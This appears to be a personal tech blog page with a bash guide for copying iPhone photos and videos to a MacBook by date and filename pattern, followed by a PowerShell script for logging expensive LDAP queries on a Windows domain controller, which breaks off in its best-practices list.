https://andrewbaker.ninja/wp-content/themes/twentysixteen/fonts/merriweather-plus-montserrat-plus-inconsolata.css

A Script to download Photos, Videos and Images from your iPhone to your Macbook (by creation date and a file name filter)

Annoying Apple never quite got around to making it easy to offload images from your iPhone to your Macbook. So below is a complete guide to automatically download photos and videos from your iPhone to your MacBook, with options to filter by pattern and date, and organize into folders by creation date.

Prerequisites

Install the required tools using Homebrew:

cat > install_iphone_util.sh << 'EOF'
#!/bin/bash
set -e

echo "Installing tools..."

echo "Installing macFUSE"
brew install --cask macfuse

echo "Adding Brew Tap" 
brew tap gromgit/fuse

echo "Installing ifuse-mac" 
brew install gromgit/fuse/ifuse-mac

echo "Installing libimobiledevice" 
brew install libimobiledevice

echo "Installing exiftool"
brew install exiftool

echo "Done! Tools installed."
EOF

echo "Making executable..."
chmod +x install_iphone_util.sh

./install_iphone_util.sh

Setup/Pair your iPhone to your Macbook

  1. Connect your iPhone to your MacBook via USB
  2. Trust the computer on your iPhone when prompted
  3. Verify the connection:
idevicepair validate

If not paired, run:

idevicepair pair

Download Script

Run the script below to create the file download-iphone-media.sh in your current directory:

#!/bin/bash

cat > download-iphone-media.sh << 'OUTER_EOF'
#!/bin/bash

# iPhone Media Downloader
# Downloads photos and videos from iPhone to MacBook
# Supports resumable, idempotent downloads

set -e

# Default values
PATTERN="*"
OUTPUT_DIR="."
ORGANIZE_BY_DATE=false
START_DATE=""
END_DATE=""
MOUNT_POINT="/tmp/iphone_mount"
STATE_DIR=""
VERIFY_CHECKSUM=true

# Usage function
usage() {
    cat << 'INNER_EOF'
Usage: $0 [OPTIONS]

Download photos and videos from iPhone to MacBook.

OPTIONS:
    -p PATTERN          File pattern to match (e.g., "*.jpg", "*.mp4", "IMG_*")
                        Default: * (all files)
    -o OUTPUT_DIR       Output directory (default: current directory)
    -d                  Organize files by creation date into YYYY/MMM folders
    -s START_DATE       Start date filter (YYYY-MM-DD)
    -e END_DATE         End date filter (YYYY-MM-DD)
    -r                  Resume incomplete downloads (default: true)
    -n                  Skip checksum verification (faster, less safe)
    -h                  Show this help message

EXAMPLES:
    # Download all photos and videos to current directory
    $0

    # Download only JPG files to ~/Pictures/iPhone
    $0 -p "*.jpg" -o ~/Pictures/iPhone

    # Download all media organized by date
    $0 -d -o ~/Pictures/iPhone

    # Download videos from specific date range
    $0 -p "*.mov" -s 2025-01-01 -e 2025-01-31 -d -o ~/Videos/iPhone

    # Download specific IMG files organized by date
    $0 -p "IMG_*.{jpg,heic}" -d -o ~/Photos
INNER_EOF
    exit 1
}

# Parse command line arguments
while getopts "p:o:ds:e:rnh" opt; do
    case $opt in
        p) PATTERN="$OPTARG" ;;
        o) OUTPUT_DIR="$OPTARG" ;;
        d) ORGANIZE_BY_DATE=true ;;
        s) START_DATE="$OPTARG" ;;
        e) END_DATE="$OPTARG" ;;
        r) ;; # Resume is default, keeping for backward compatibility
        n) VERIFY_CHECKSUM=false ;;
        h) usage ;;
        *) usage ;;
    esac
done

# Create output directory if it doesn't exist
mkdir -p "$OUTPUT_DIR"
OUTPUT_DIR=$(cd "$OUTPUT_DIR" && pwd)

# Set up state directory for tracking downloads
STATE_DIR="$OUTPUT_DIR/.iphone_download_state"
mkdir -p "$STATE_DIR"

# Create mount point
mkdir -p "$MOUNT_POINT"

echo "=== iPhone Media Downloader ==="
echo "Pattern: $PATTERN"
echo "Output: $OUTPUT_DIR"
echo "Organize by date: $ORGANIZE_BY_DATE"
[ -n "$START_DATE" ] && echo "Start date: $START_DATE"
[ -n "$END_DATE" ] && echo "End date: $END_DATE"
echo ""

# Check if iPhone is connected
echo "Checking for iPhone connection..."
if ! ideviceinfo -s > /dev/null 2>&1; then
    echo "Error: No iPhone detected. Please connect your iPhone and trust this computer."
    exit 1
fi

# Mount iPhone
echo "Mounting iPhone..."
if ! ifuse "$MOUNT_POINT" 2>/dev/null; then
    echo "Error: Failed to mount iPhone. Make sure you've trusted this computer on your iPhone."
    exit 1
fi

# Cleanup function
cleanup() {
    local exit_code=$?
    echo ""
    if [ $exit_code -ne 0 ]; then
        echo "⚠ Download interrupted. Run the script again to resume."
    fi
    echo "Unmounting iPhone..."
    umount "$MOUNT_POINT" 2>/dev/null || true
    rmdir "$MOUNT_POINT" 2>/dev/null || true
}
trap cleanup EXIT

# Find DCIM folder
DCIM_PATH="$MOUNT_POINT/DCIM"
if [ ! -d "$DCIM_PATH" ]; then
    echo "Error: DCIM folder not found on iPhone"
    exit 1
fi

echo "Scanning for files matching pattern: $PATTERN"
echo ""

# Counter
TOTAL_FILES=0
COPIED_FILES=0
SKIPPED_FILES=0
RESUMED_FILES=0
FAILED_FILES=0

# Function to compute file checksum
compute_checksum() {
    local file="$1"
    if [ -f "$file" ]; then
        shasum -a 256 "$file" 2>/dev/null | awk '{print $1}'
    fi
}

# Function to get file size
get_file_size() {
    local file="$1"
    if [ -f "$file" ]; then
        stat -f "%z" "$file" 2>/dev/null
    fi
}

# Function to mark file as completed
mark_completed() {
    local source_file="$1"
    local dest_file="$2"
    local checksum="$3"
    local state_file="$STATE_DIR/$(echo "$source_file" | shasum -a 256 | awk '{print $1}')"
    
    echo "$dest_file|$checksum|$(date +%s)" > "$state_file"
}

# Function to check if file was previously completed
is_completed() {
    local source_file="$1"
    local dest_file="$2"
    local state_file="$STATE_DIR/$(echo "$source_file" | shasum -a 256 | awk '{print $1}')"
    
    if [ ! -f "$state_file" ]; then
        return 1
    fi
    
    # Read state file
    local saved_dest saved_checksum saved_timestamp
    IFS='|' read -r saved_dest saved_checksum saved_timestamp < "$state_file"
    
    # Check if destination file exists and matches
    if [ "$saved_dest" = "$dest_file" ] && [ -f "$dest_file" ]; then
        if [ "$VERIFY_CHECKSUM" = true ]; then
            local current_checksum=$(compute_checksum "$dest_file")
            if [ "$current_checksum" = "$saved_checksum" ]; then
                return 0
            fi
        else
            # Without checksum verification, just check file exists
            return 0
        fi
    fi
    
    return 1
}

# Convert dates to timestamps for comparison
START_TIMESTAMP=""
END_TIMESTAMP=""
if [ -n "$START_DATE" ]; then
    START_TIMESTAMP=$(date -j -f "%Y-%m-%d" "$START_DATE" "+%s" 2>/dev/null || echo "")
    if [ -z "$START_TIMESTAMP" ]; then
        echo "Error: Invalid start date format. Use YYYY-MM-DD"
        exit 1
    fi
fi
if [ -n "$END_DATE" ]; then
    END_TIMESTAMP=$(date -j -f "%Y-%m-%d" "$END_DATE" "+%s" 2>/dev/null || echo "")
    if [ -z "$END_TIMESTAMP" ]; then
        echo "Error: Invalid end date format. Use YYYY-MM-DD"
        exit 1
    fi
    # Add 24 hours to include the entire end date
    END_TIMESTAMP=$((END_TIMESTAMP + 86400))
fi

# Process files
find "$DCIM_PATH" -type f | while read -r file; do
    filename=$(basename "$file")
    
    # Check if filename matches pattern (basic glob matching)
    if [[ ! "$filename" == $PATTERN ]]; then
        continue
    fi
    
    TOTAL_FILES=$((TOTAL_FILES + 1))
    
    # Get file creation date
    if command -v exiftool > /dev/null 2>&1; then
        # Try to get date from EXIF data
        CREATE_DATE=$(exiftool -s3 -DateTimeOriginal -d "%Y-%m-%d %H:%M:%S" "$file" 2>/dev/null)
        if [ -z "$CREATE_DATE" ]; then
            # Fallback to file modification time
            CREATE_DATE=$(stat -f "%Sm" -t "%Y-%m-%d %H:%M:%S" "$file" 2>/dev/null)
        fi
    else
        # Use file modification time
        CREATE_DATE=$(stat -f "%Sm" -t "%Y-%m-%d %H:%M:%S" "$file" 2>/dev/null)
    fi
    
    # Extract date components
    if [ -n "$CREATE_DATE" ]; then
        FILE_DATE=$(echo "$CREATE_DATE" | cut -d' ' -f1)
        FILE_TIMESTAMP=$(date -j -f "%Y-%m-%d" "$FILE_DATE" "+%s" 2>/dev/null || echo "")
        
        # Check date filters
        if [ -n "$START_TIMESTAMP" ] && [ -n "$FILE_TIMESTAMP" ] && [ "$FILE_TIMESTAMP" -lt "$START_TIMESTAMP" ]; then
            SKIPPED_FILES=$((SKIPPED_FILES + 1))
            continue
        fi
        if [ -n "$END_TIMESTAMP" ] && [ -n "$FILE_TIMESTAMP" ] && [ "$FILE_TIMESTAMP" -ge "$END_TIMESTAMP" ]; then
            SKIPPED_FILES=$((SKIPPED_FILES + 1))
            continue
        fi
        
        # Determine output path with YYYY/MMM structure
        if [ "$ORGANIZE_BY_DATE" = true ]; then
            YEAR=$(echo "$FILE_DATE" | cut -d'-' -f1)
            MONTH_NUM=$(echo "$FILE_DATE" | cut -d'-' -f2)
            # Convert month number to 3-letter abbreviation
            case "$MONTH_NUM" in
                01) MONTH="Jan" ;;
                02) MONTH="Feb" ;;
                03) MONTH="Mar" ;;
                04) MONTH="Apr" ;;
                05) MONTH="May" ;;
                06) MONTH="Jun" ;;
                07) MONTH="Jul" ;;
                08) MONTH="Aug" ;;
                09) MONTH="Sep" ;;
                10) MONTH="Oct" ;;
                11) MONTH="Nov" ;;
                12) MONTH="Dec" ;;
                *) MONTH="Unknown" ;;
            esac
            DEST_DIR="$OUTPUT_DIR/$YEAR/$MONTH"
        else
            DEST_DIR="$OUTPUT_DIR"
        fi
    else
        DEST_DIR="$OUTPUT_DIR"
    fi
    
    # Create destination directory
    mkdir -p "$DEST_DIR"
    
    # Determine destination path
    DEST_PATH="$DEST_DIR/$filename"
    
    # Check if this file was previously completed successfully
    if is_completed "$file" "$DEST_PATH"; then
        echo "✓ Already downloaded: $filename"
        SKIPPED_FILES=$((SKIPPED_FILES + 1))
        continue
    fi
    
    # Check if file already exists with same content (for backward compatibility)
    if [ -f "$DEST_PATH" ]; then
        if cmp -s "$file" "$DEST_PATH"; then
            echo "✓ Already exists (identical): $filename"
            # Mark as completed for future runs
            SOURCE_CHECKSUM=$(compute_checksum "$DEST_PATH")
            mark_completed "$file" "$DEST_PATH" "$SOURCE_CHECKSUM"
            SKIPPED_FILES=$((SKIPPED_FILES + 1))
            continue
        else
            # Add timestamp to avoid overwriting different file
            BASE="${filename%.*}"
            EXT="${filename##*.}"
            DEST_PATH="$DEST_DIR/${BASE}_$(date +%s).$EXT"
        fi
    fi
    
    # Use temporary file for atomic copy
    TEMP_PATH="${DEST_PATH}.tmp.$$"
    
    # Copy to temporary file
    echo "⬇ Downloading: $filename → $DEST_PATH"
    if ! cp "$file" "$TEMP_PATH" 2>/dev/null; then
        echo "✗ Failed to copy: $filename"
        rm -f "$TEMP_PATH"
        FAILED_FILES=$((FAILED_FILES + 1))
        continue
    fi
    
    # Verify size matches (basic corruption check)
    SOURCE_SIZE=$(get_file_size "$file")
    TEMP_SIZE=$(get_file_size "$TEMP_PATH")
    
    if [ "$SOURCE_SIZE" != "$TEMP_SIZE" ]; then
        echo "✗ Size mismatch for $filename (source: $SOURCE_SIZE, copied: $TEMP_SIZE)"
        rm -f "$TEMP_PATH"
        FAILED_FILES=$((FAILED_FILES + 1))
        continue
    fi
    
    # Compute checksum for verification and tracking
    if [ "$VERIFY_CHECKSUM" = true ]; then
        SOURCE_CHECKSUM=$(compute_checksum "$TEMP_PATH")
    else
        SOURCE_CHECKSUM="skipped"
    fi
    
    # Preserve timestamps
    if [ -n "$CREATE_DATE" ]; then
        touch -t $(date -j -f "%Y-%m-%d %H:%M:%S" "$CREATE_DATE" "+%Y%m%d%H%M.%S" 2>/dev/null) "$TEMP_PATH" 2>/dev/null || true
    fi
    
    # Atomic move from temp to final destination
    if mv "$TEMP_PATH" "$DEST_PATH" 2>/dev/null; then
        echo "✓ Completed: $filename"
        # Mark as successfully completed
        mark_completed "$file" "$DEST_PATH" "$SOURCE_CHECKSUM"
        COPIED_FILES=$((COPIED_FILES + 1))
    else
        echo "✗ Failed to finalize: $filename"
        rm -f "$TEMP_PATH"
        FAILED_FILES=$((FAILED_FILES + 1))
    fi
done

echo ""
echo "=== Summary ==="
echo "Total files matching pattern: $TOTAL_FILES"
echo "Files downloaded: $COPIED_FILES"
echo "Files already present: $SKIPPED_FILES"
if [ $FAILED_FILES -gt 0 ]; then
    echo "Files failed: $FAILED_FILES"
    echo ""
    echo "⚠ Some files failed to download. Run the script again to retry."
    exit 1
fi
echo ""
echo "✓ Download complete! All files transferred successfully."
OUTER_EOF

echo "Making the script executable..."
chmod +x download-iphone-media.sh

echo "✓ Script created successfully: download-iphone-media.sh"

Usage Examples

Basic Usage

Download all photos and videos to the current directory:

./download-iphone-media.sh

Download with Date Organization

Organize files into folders by creation date (YYYY/MMM structure):

./download-iphone-media.sh -d -o ./Pictures

This creates a structure like:

./Pictures
├── 2024/
│   ├── Jan/
│   │   ├── IMG_1234.jpg
│   │   └── IMG_1235.heic
│   ├── Feb/
│   └── Dec/
├── 2025/
│   ├── Jan/
│   └── Nov/

Filter by File Pattern

Download only specific file types:

# Only JPG files
./download-iphone-media.sh -p "*.jpg" -o ~/Pictures/iPhone

# Only videos (MOV and MP4)
./download-iphone-media.sh -p "*.mov" -o ~/Videos/iPhone
./download-iphone-media.sh -p "*.mp4" -o ~/Videos/iPhone

# Files starting with IMG_
./download-iphone-media.sh -p "IMG_*" -o ~/Pictures

# HEIC photos (iPhone's default format)
./download-iphone-media.sh -p "*.heic" -o ~/Pictures/iPhone

Filter by Date Range

Download photos from a specific date range:

# Photos from January 2025
./download-iphone-media.sh -s 2025-01-01 -e 2025-01-31 -d -o ~/Pictures/January2025

# Photos from last week
./download-iphone-media.sh -s 2025-11-10 -e 2025-11-17 -o ~/Pictures/LastWeek

# Photos after a specific date
./download-iphone-media.sh -s 2025-11-01 -o ~/Pictures/Recent

Combined Filters

Combine multiple options for precise control:

# Download only videos from January 2025, organized by date
./download-iphone-media.sh -p "*.mov" -s 2025-01-01 -e 2025-01-31 -d -o ~/Videos/Vacation

# Download all HEIC photos from the last month, organized by date
./download-iphone-media.sh -p "*.heic" -s 2025-10-17 -e 2025-11-17 -d -o ~/Pictures/LastMonth

Features

Resumable & Idempotent Downloads

  • Crash recovery: Interrupted downloads can be resumed by running the script again
  • Atomic operations: Files are copied to temporary locations first, then moved atomically
  • State tracking: Maintains a hidden state directory (.iphone_download_state) to track completed files
  • Checksum verification: Uses SHA-256 checksums to verify file integrity (can be disabled with -n for speed)
  • No duplicates: Running the script multiple times won’t re-download existing files
  • Corruption detection: Validates file sizes and optionally checksums after copy

Date-Based Organization

  • Automatic folder structure: Creates YYYY/MMM folders based on photo creation date (e.g., 2025/Jan, 2025/Feb)
  • EXIF data support: Reads actual photo capture date from EXIF metadata when available
  • Fallback mechanism: Uses file modification time if EXIF data is unavailable
  • Fewer folders: Maximum 12 month folders per year instead of up to 365 day folders

Smart File Handling

  • Duplicate detection: Skips files that already exist with identical content
  • Conflict resolution: Adds timestamp suffix to filename if different file with same name exists
  • Timestamp preservation: Maintains original creation dates on copied files
  • Error tracking: Reports failed files and provides clear exit codes

Progress Feedback

  • Real-time progress updates showing each file being downloaded
  • Summary statistics at the end (total found, downloaded, skipped, failed)
  • Clear error messages for troubleshooting
  • Helpful resume instructions if interrupted

Common File Patterns

iPhone typically uses these file formats:

TypeExtensionsPattern Example
Photos.jpg.heic*.jpg or *.heic
Videos.mov.mp4*.mov or *.mp4
Screenshots.png*.png
Live Photos.heic.movIMG_*.heic + IMG_*.mov
All mediaall above* (default)

5. Handling Interrupted Downloads

If a download is interrupted (disconnection, error, etc.), simply run the script again:

# Script was interrupted - just run it again
./download-iphone-media.sh -d -o ~/Pictures/iPhone

The script will:

  • Skip all successfully downloaded files
  • Retry any failed files
  • Continue from where it left off

6. Fast Mode (Skip Checksum Verification)

For faster transfers on reliable connections, disable checksum verification:

# Skip checksums for speed (still verifies file sizes)
./download-iphone-media.sh -n -d -o ~/Pictures/iPhone

Note: This is generally safe but won’t detect corruption as thoroughly.

7. Clean State and Re-download

If you want to force a re-download of all files:

# Remove state directory to start fresh
rm -rf ~/Pictures/iPhone/.iphone_download_state
./download-iphone-media.sh -d -o ~/Pictures/iPhone

Troubleshooting

iPhone Not Detected

Error: No iPhone detected. Please connect your iPhone and trust this computer.

Solution:

  1. Make sure your iPhone is connected via USB cable
  2. Unlock your iPhone
  3. Tap “Trust” when prompted on your iPhone
  4. Run idevicepair pair if you haven’t already

Failed to Mount iPhone

Error: Failed to mount iPhone

Solution:

  1. Try unplugging and reconnecting your iPhone
  2. Check if another process is using the iPhone:umount /tmp/iphone_mount 2>/dev/null
  3. Restart your iPhone and try again
  4. On macOS Ventura or later, check System Settings → Privacy & Security → Files and Folders

Permission Denied

Solution:
Make sure the script has executable permissions:

chmod +x download-iphone-media.sh

Missing Tools

Error: Commands not found

Solution:
Install the required tools:

brew install libimobiledevice ifuse exiftool

On newer macOS versions, you may need to install macFUSE:

brew install --cask macfuse

After installation, you may need to restart your Mac and allow the kernel extension in System Settings → Privacy & Security.

Tips and Best Practices

1. Regular Backups

Create a scheduled backup script:

#!/bin/bash
# Save as ~/bin/backup-iphone-photos.sh

DATE=$(date +%Y-%m-%d)
BACKUP_DIR=~/Pictures/iPhone-Backups/$DATE

./download-iphone-media.sh -d -o "$BACKUP_DIR"

echo "Backup completed to $BACKUP_DIR"

2. Incremental Downloads

The script is fully idempotent and tracks completed downloads, making it perfect for incremental backups:

# Run daily to get new photos - only new files will be downloaded
./download-iphone-media.sh -d -o ~/Pictures/iPhone

The script maintains state in .iphone_download_state/ within your output directory, ensuring:

  • Already downloaded files are skipped instantly (no re-copying)
  • Interrupted downloads can be resumed
  • File integrity is verified with checksums

3. Free Up iPhone Storage

After confirming successful download:

  1. Verify files are on your MacBook
  2. Check file counts match
  3. Delete photos from iPhone via Photos app
  4. Empty “Recently Deleted” album

4. Convert HEIC to JPG (Optional)

If you need JPG files for compatibility:

# Install ImageMagick
brew install imagemagick

# Convert all HEIC files to JPG
find ~/Pictures/iPhone -name "*.heic" -exec sh -c 'magick "$0" "${0%.heic}.jpg"' {} \;

How Idempotent Recovery Works

The script implements several mechanisms to ensure safe, resumable downloads:

1. State Tracking

A hidden directory .iphone_download_state/ is created in your output directory. For each successfully downloaded file, a state file is created containing:

  • Destination file path
  • SHA-256 checksum (if verification enabled)
  • Completion timestamp

2. Atomic Operations

Each file is downloaded using a two-phase commit:

  1. Download Phase: Copy to temporary file (.tmp.$$ suffix)
  2. Verification Phase: Check file size and optionally compute checksum
  3. Commit Phase: Atomically move temp file to final destination
  4. Record Phase: Write completion state

If the script is interrupted at any point, incomplete temporary files are cleaned up automatically.

3. Idempotent Behavior

When you run the script:

  1. Before downloading each file, it checks the state directory
  2. If a state file exists, it verifies the destination file still exists and matches the checksum
  3. If verification passes, the file is skipped (no re-download)
  4. If verification fails or no state exists, the file is downloaded

This means:

  • ✓ Safe to run multiple times
  • ✓ Interrupted downloads can be resumed
  • ✓ Corrupted files are detected and re-downloaded
  • ✓ No wasted bandwidth on already-downloaded files

4. Checksum Verification

By default, SHA-256 checksums are computed and verified:

  • During download: Checksum computed after copy completes
  • On resume: Existing files are verified against stored checksum
  • Optional: Use -n flag to skip checksums for speed (still verifies file sizes)

Example Recovery Scenario

# Start downloading 1000 photos
./download-iphone-media.sh -d -o ~/Pictures/iPhone

# Script is interrupted after 500 files
# Press Ctrl+C or cable disconnects

# Simply run again - picks up where it left off
./download-iphone-media.sh -d -o ~/Pictures/iPhone
# Output:
# ✓ Already downloaded: IMG_0001.heic
# ✓ Already downloaded: IMG_0002.heic
# ...
# ⬇ Downloading: IMG_0501.heic → ~/Pictures/iPhone/2025/Jan/IMG_0501.heic

Performance Notes

  • Transfer speed: Depends on USB connection (USB 2.0 vs USB 3.0)
  • Large libraries: May take significant time for thousands of photos
  • EXIF reading: Adds minimal overhead but provides accurate dates
  • Pattern matching: Processed client-side, so all files are scanned

Conclusion

This script provides a robust, production-ready solution for downloading photos and videos from your iPhone to your MacBook. Key capabilities:

Core Features:

  • Filter by file patterns (type, name)
  • Filter by date ranges
  • Organize automatically into date-based folders
  • Preserve original file metadata

Reliability:

  • Fully idempotent – safe to run multiple times
  • Resumable downloads with automatic crash recovery
  • Atomic file operations prevent corruption
  • Checksum verification ensures data integrity
  • Clear error reporting and recovery instructions

For regular use, consider creating aliases in your ~/.zshrc:

# Add to ~/.zshrc
alias iphone-backup='~/download-iphone-media.sh -d -o ~/Pictures/iPhone'
alias iphone-videos='~/download-iphone-media.sh -p "*.mov" -d -o ~/Videos/iPhone'

Then simply run iphone-backup whenever you want to download your photos!

Resources

Windows Domain Controller: Monitor and Log LDAP operations/queries use of resources

The script below monitors LDAP operations on a Domain Controller and logs detailed information about queries that exceed specified thresholds for execution time, CPU usage, or results returned. It helps identify problematic LDAP queries that may be impacting domain controller performance.

Parameter: ThresholdSeconds
Minimum query duration in seconds to log (default: 5)

Parameter: LogPath
Path where log files will be saved (default: C:\LDAPDiagnostics)

Parameter: MonitorDuration
How long to monitor in minutes (default: continuous)

EXAMPLE
.\Diagnose-LDAPQueries.ps1 -ThresholdSeconds 3 -LogPath “C:\Logs\LDAP”

[CmdletBinding()]
param(
    [int]$ThresholdSeconds = 5,
    [string]$LogPath = "C:\LDAPDiagnostics",
    [int]$MonitorDuration = 0  # 0 = continuous
)

# Requires Administrator privileges
#Requires -RunAsAdministrator

# Create log directory if it doesn't exist
if (-not (Test-Path $LogPath)) {
    New-Item -ItemType Directory -Path $LogPath -Force | Out-Null
}

$logFile = Join-Path $LogPath "LDAP_Diagnostics_$(Get-Date -Format 'yyyyMMdd_HHmmss').log"
$csvFile = Join-Path $LogPath "LDAP_Queries_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"

function Write-Log {
    param([string]$Message, [string]$Level = "INFO")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $logMessage = "[$timestamp] [$Level] $Message"
    Write-Host $logMessage
    Add-Content -Path $logFile -Value $logMessage
}

function Get-LDAPStatistics {
    try {
        # Query NTDS performance counters for LDAP statistics
        $ldapStats = @{
            ActiveThreads = (Get-Counter '\NTDS\LDAP Active Threads' -ErrorAction SilentlyContinue).CounterSamples.CookedValue
            SearchesPerSec = (Get-Counter '\NTDS\LDAP Searches/sec' -ErrorAction SilentlyContinue).CounterSamples.CookedValue
            ClientSessions = (Get-Counter '\NTDS\LDAP Client Sessions' -ErrorAction SilentlyContinue).CounterSamples.CookedValue
            BindTime = (Get-Counter '\NTDS\LDAP Bind Time' -ErrorAction SilentlyContinue).CounterSamples.CookedValue
        }
        return $ldapStats
    }
    catch {
        Write-Log "Error getting LDAP statistics: $_" "ERROR"
        return $null
    }
}

function Parse-LDAPEvent {
    param($Event)
    
    $eventData = @{
        TimeCreated = $Event.TimeCreated
        ClientIP = $null
        ClientPort = $null
        StartingNode = $null
        Filter = $null
        SearchScope = $null
        AttributeSelection = $null
        ServerControls = $null
        VisitedEntries = $null
        ReturnedEntries = $null
        TimeInServer = $null
    }

    # Parse event XML for detailed information
    try {
        $xml = [xml]$Event.ToXml()
        $dataNodes = $xml.Event.EventData.Data
        
        foreach ($node in $dataNodes) {
            switch ($node.Name) {
                "Client" { $eventData.ClientIP = ($node.'#text' -split ':')[0] }
                "StartingNode" { $eventData.StartingNode = $node.'#text' }
                "Filter" { $eventData.Filter = $node.'#text' }
                "SearchScope" { $eventData.SearchScope = $node.'#text' }
                "AttributeSelection" { $eventData.AttributeSelection = $node.'#text' }
                "ServerControls" { $eventData.ServerControls = $node.'#text' }
                "VisitedEntries" { $eventData.VisitedEntries = $node.'#text' }
                "ReturnedEntries" { $eventData.ReturnedEntries = $node.'#text' }
                "TimeInServer" { $eventData.TimeInServer = $node.'#text' }
            }
        }
    }
    catch {
        Write-Log "Error parsing event XML: $_" "WARNING"
    }

    return $eventData
}

Write-Log "=== LDAP Query Diagnostics Started ===" "INFO"
Write-Log "Threshold: $ThresholdSeconds seconds" "INFO"
Write-Log "Log Path: $LogPath" "INFO"
Write-Log "Monitor Duration: $(if($MonitorDuration -eq 0){'Continuous'}else{$MonitorDuration + ' minutes'})" "INFO"

# Enable Field Engineering logging if not already enabled
Write-Log "Checking Field Engineering diagnostic logging settings..." "INFO"
try {
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics"
    $currentValue = Get-ItemProperty -Path $regPath -Name "15 Field Engineering" -ErrorAction SilentlyContinue
    
    if ($currentValue.'15 Field Engineering' -lt 5) {
        Write-Log "Enabling Field Engineering logging (level 5)..." "INFO"
        Set-ItemProperty -Path $regPath -Name "15 Field Engineering" -Value 5
        Write-Log "Field Engineering logging enabled. You may need to restart NTDS service for full effect." "WARNING"
    }
    else {
        Write-Log "Field Engineering logging already enabled at level $($currentValue.'15 Field Engineering')" "INFO"
    }
}
catch {
    Write-Log "Error configuring diagnostic logging: $_" "ERROR"
}

# Create CSV header
$csvHeader = "TimeCreated,ClientIP,StartingNode,Filter,SearchScope,AttributeSelection,VisitedEntries,ReturnedEntries,TimeInServer,ServerControls"
Set-Content -Path $csvFile -Value $csvHeader

Write-Log "Monitoring for expensive LDAP queries (threshold: $ThresholdSeconds seconds)..." "INFO"
Write-Log "Press Ctrl+C to stop monitoring" "INFO"

$startTime = Get-Date
$queriesLogged = 0

try {
    while ($true) {
        # Check if monitoring duration exceeded
        if ($MonitorDuration -gt 0) {
            $elapsed = (Get-Date) - $startTime
            if ($elapsed.TotalMinutes -ge $MonitorDuration) {
                Write-Log "Monitoring duration reached. Stopping." "INFO"
                break
            }
        }

        # Get current LDAP statistics
        $stats = Get-LDAPStatistics
        if ($stats) {
            Write-Verbose "Active Threads: $($stats.ActiveThreads), Searches/sec: $($stats.SearchesPerSec), Client Sessions: $($stats.ClientSessions)"
        }

        # Query Directory Service event log for expensive LDAP queries
        # Event ID 1644 = expensive search operations
        $events = Get-WinEvent -FilterHashtable @{
            LogName = 'Directory Service'
            Id = 1644
            StartTime = (Get-Date).AddSeconds(-10)
        } -ErrorAction SilentlyContinue

        foreach ($event in $events) {
            $eventData = Parse-LDAPEvent -Event $event
            
            # Convert time in server from milliseconds to seconds
            $timeInSeconds = if ($eventData.TimeInServer) { 
                [int]$eventData.TimeInServer / 1000 
            } else { 
                0 
            }

            if ($timeInSeconds -ge $ThresholdSeconds) {
                $queriesLogged++
                
                Write-Log "=== Expensive LDAP Query Detected ===" "WARNING"
                Write-Log "Time: $($eventData.TimeCreated)" "WARNING"
                Write-Log "Client IP: $($eventData.ClientIP)" "WARNING"
                Write-Log "Duration: $timeInSeconds seconds" "WARNING"
                Write-Log "Starting Node: $($eventData.StartingNode)" "WARNING"
                Write-Log "Filter: $($eventData.Filter)" "WARNING"
                Write-Log "Search Scope: $($eventData.SearchScope)" "WARNING"
                Write-Log "Visited Entries: $($eventData.VisitedEntries)" "WARNING"
                Write-Log "Returned Entries: $($eventData.ReturnedEntries)" "WARNING"
                Write-Log "Attributes: $($eventData.AttributeSelection)" "WARNING"
                Write-Log "Server Controls: $($eventData.ServerControls)" "WARNING"
                Write-Log "======================================" "WARNING"

                # Write to CSV
                $csvLine = "$($eventData.TimeCreated),$($eventData.ClientIP),$($eventData.StartingNode),`"$($eventData.Filter)`",$($eventData.SearchScope),`"$($eventData.AttributeSelection)`",$($eventData.VisitedEntries),$($eventData.ReturnedEntries),$($eventData.TimeInServer),`"$($eventData.ServerControls)`""
                Add-Content -Path $csvFile -Value $csvLine
            }
        }

        Start-Sleep -Seconds 5
    }
}
catch {
    Write-Log "Error during monitoring: $_" "ERROR"
}
finally {
    Write-Log "=== LDAP Query Diagnostics Stopped ===" "INFO"
    Write-Log "Total expensive queries logged: $queriesLogged" "INFO"
    Write-Log "Log file: $logFile" "INFO"
    Write-Log "CSV file: $csvFile" "INFO"
}
```
## Usage Examples

### Basic Usage (Continuous Monitoring)

Run with default settings - monitors queries taking 5+ seconds:

```powershell
.\Diagnose-LDAPQueries.ps1
```

### Custom Threshold and Duration

Monitor for 30 minutes, logging queries that take 3+ seconds:

```powershell
.\Diagnose-LDAPQueries.ps1 -ThresholdSeconds 3 -MonitorDuration 30
```

### Custom Log Location

Save logs to a specific directory:

```powershell
.\Diagnose-LDAPQueries.ps1 -LogPath "D:\Logs\LDAP"
```

### Verbose Output

See real-time LDAP statistics while monitoring:

```powershell
.\Diagnose-LDAPQueries.ps1 -Verbose
```

## Requirements

- **Administrator privileges** on the domain controller
- **Windows Server** with Active Directory Domain Services role
- **PowerShell 5.1 or later**

## Understanding the Output

### Log File Example

```
[2025-01-15 14:23:45] [WARNING] === Expensive LDAP Query Detected ===
[2025-01-15 14:23:45] [WARNING] Time: 01/15/2025 14:23:43
[2025-01-15 14:23:45] [WARNING] Client IP: 192.168.1.50
[2025-01-15 14:23:45] [WARNING] Duration: 8.5 seconds
[2025-01-15 14:23:45] [WARNING] Starting Node: DC=contoso,DC=com
[2025-01-15 14:23:45] [WARNING] Filter: (&(objectClass=user)(memberOf=*))
[2025-01-15 14:23:45] [WARNING] Search Scope: 2
[2025-01-15 14:23:45] [WARNING] Visited Entries: 45000
[2025-01-15 14:23:45] [WARNING] Returned Entries: 12000
```

### What to Look For

- **High visited/returned ratio** - Indicates an inefficient filter
- **Subtree searches from root** - Often unnecessarily broad
- **Wildcard filters** - Like `(cn=*)` can be very expensive
- **Unindexed attributes** - Queries on non-indexed attributes visit many entries
- **Repeated queries** - Same client making the same expensive query repeatedly

## Troubleshooting Common Issues

### No Events Appearing

If you're not seeing Event ID 1644, you may need to lower the expensive search threshold in Active Directory:

```powershell
# Lower the threshold to 1000ms (1 second)
Get-ADObject "CN=Query-Policies,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=yourdomain,DC=com" | 
    Set-ADObject -Replace @{lDAPAdminLimits="MaxQueryDuration=1000"}
```

### Script Requires Restart

After enabling Field Engineering logging, you may need to restart the NTDS service:

```powershell
Restart-Service NTDS -Force
```

Best Practices

1. **Run during peak hours** to capture real-world problematic queries
